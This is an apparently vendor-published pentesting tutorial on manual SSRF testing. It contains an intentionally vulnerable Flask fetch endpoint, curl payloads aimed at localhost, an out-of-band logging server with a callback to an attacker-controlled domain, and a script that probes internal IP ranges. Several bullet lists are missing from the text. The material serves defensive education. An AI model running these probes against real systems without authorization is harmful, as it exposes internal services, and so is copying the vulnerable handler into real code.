Manual Testing for Server-Side Request Forgery (SSRF) in Web Applications: A Technical Deep-Dive

Server-Side Request Forgery (SSRF) remains one of the more challenging vulnerabilities to detect and exploit during web application penetration tests. In this installment of the Learn Pentesting series, we’ll take a deep dive into manual testing techniques for SSRF, explore real-world testing scenarios, and illustrate our process with code examples.


What Is SSRF?

SSRF occurs when an attacker can manipulate a server-side application to make HTTP requests to unintended destinations. The vulnerability often arises when a web application fetches remote resources based on user-supplied input—typically via a URL parameter. When exploited, SSRF can allow attackers to:

Understanding the typical SSRF use cases is critical. Many SSRF issues stem from poor validation of user inputs, where the server blindly follows redirections or allows protocols other than HTTP/HTTPS.


Setting Up a Test Environment

Before diving into exploitation, it’s important to have a controlled environment where you can safely test SSRF scenarios. One common approach is to create a simple vulnerable server. Below is an example using Python’s Flask framework that demonstrates a basic SSRF vulnerability:

from flask import Flask, request, jsonify
import requests

app = Flask(__name__)

@app.route('/fetch')
def fetch():
    # The URL parameter is directly used without validation
    target_url = request.args.get('url')
    if not target_url:
        return jsonify({"error": "No URL provided"}), 400
    try:
        response = requests.get(target_url, timeout=5)
        return jsonify({
            "status_code": response.status_code,
            "headers": dict(response.headers),
            "content": response.text[:200]  # limit output for brevity
        })
    except Exception as e:
        return jsonify({"error": str(e)}), 500

if __name__ == '__main__':
    app.run(port=5000, debug=True)

In this code:

Note: This sample is intentionally vulnerable. In production environments, never allow unvalidated user input to dictate outbound requests.


Manual Testing Techniques

1. Identifying the SSRF Endpoint

When performing a penetration test, begin by mapping all endpoints that accept URL parameters or external inputs. Common entry points include:

Use a proxy like Burp Suite to intercept requests and carefully examine parameters. Look for signs of user input being used in backend HTTP requests.

2. Crafting Malicious Payloads

Testing for SSRF often involves supplying payloads that target both external and internal resources. Some common payloads include:

You might test these payloads with a simple curl command:

curl 'http://<target-ip>:5000/fetch?url=http://127.0.0.1:80'

If the application is vulnerable, you may receive a response that includes internal data or error messages that reveal sensitive information.

3. Detecting Outbound Requests

For more sophisticated testing, set up an external server to capture outbound requests. One effective method is to use a simple logging server:

import http.server
import socketserver

PORT = 8000

class RequestHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        print(f"Received request: {self.path}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Logged!')

with socketserver.TCPServer(("", PORT), RequestHandler) as httpd:
    print(f"Serving on port {PORT}")
    httpd.serve_forever()

Run this server on a machine you control. Then, supply a payload to the target using your controlled domain:

curl 'http://<target-ip>:5000/fetch?url=http://your-controlled-domain.com:8000'

If the vulnerable server makes the outbound request, your logging server will record the hit, confirming the SSRF.


Analyzing and Exploiting Responses

Interpreting the Results

Automation and Scripting

While manual testing is crucial, automating repetitive tasks can save time. You can write a Python script to iterate over a list of potential internal endpoints:

import requests

vulnerable_endpoint = "http://<target-ip>:5000/fetch"
test_urls = [
    "http://127.0.0.1:80",
    "http://localhost:80",
    "http://192.168.1.1",
    "http://10.0.0.1"
]

for url in test_urls:
    params = {'url': url}
    try:
        response = requests.get(vulnerable_endpoint, params=params, timeout=5)
        print(f"Testing {url}: Status {response.status_code}")
        if response.status_code == 200:
            print(response.json())
    except Exception as e:
        print(f"Error testing {url}: {e}")

This script iterates through a list of common internal IP addresses, logs responses, and can be enhanced to check for specific anomalies.


Advanced Testing Considerations

Bypassing Filters and WAFs

If the target application uses input sanitization or Web Application Firewalls (WAFs), try obfuscation techniques:

Protocol Abuse

Not all SSRF vulnerabilities are limited to HTTP/HTTPS. If the application supports other protocols (e.g., FTP, SMTP), these can be used to access services in ways that might expose additional vulnerabilities.


Conclusion

Testing for SSRF vulnerabilities is both an art and a science. By methodically mapping endpoints, crafting targeted payloads, and analyzing responses, penetration testers can uncover SSRF issues that might otherwise remain hidden. The code examples and testing techniques outlined here offer a foundation for further exploration, and we encourage you to experiment with variations tailored to your specific target environment.

Stay tuned for the next installment in our Learn Pentesting series, where we’ll explore advanced SSRF bypass techniques and mitigation strategies. Happy testing!

Ready to see how Numorian can help your business?

Contact us today to learn more about our services and how we can support your business.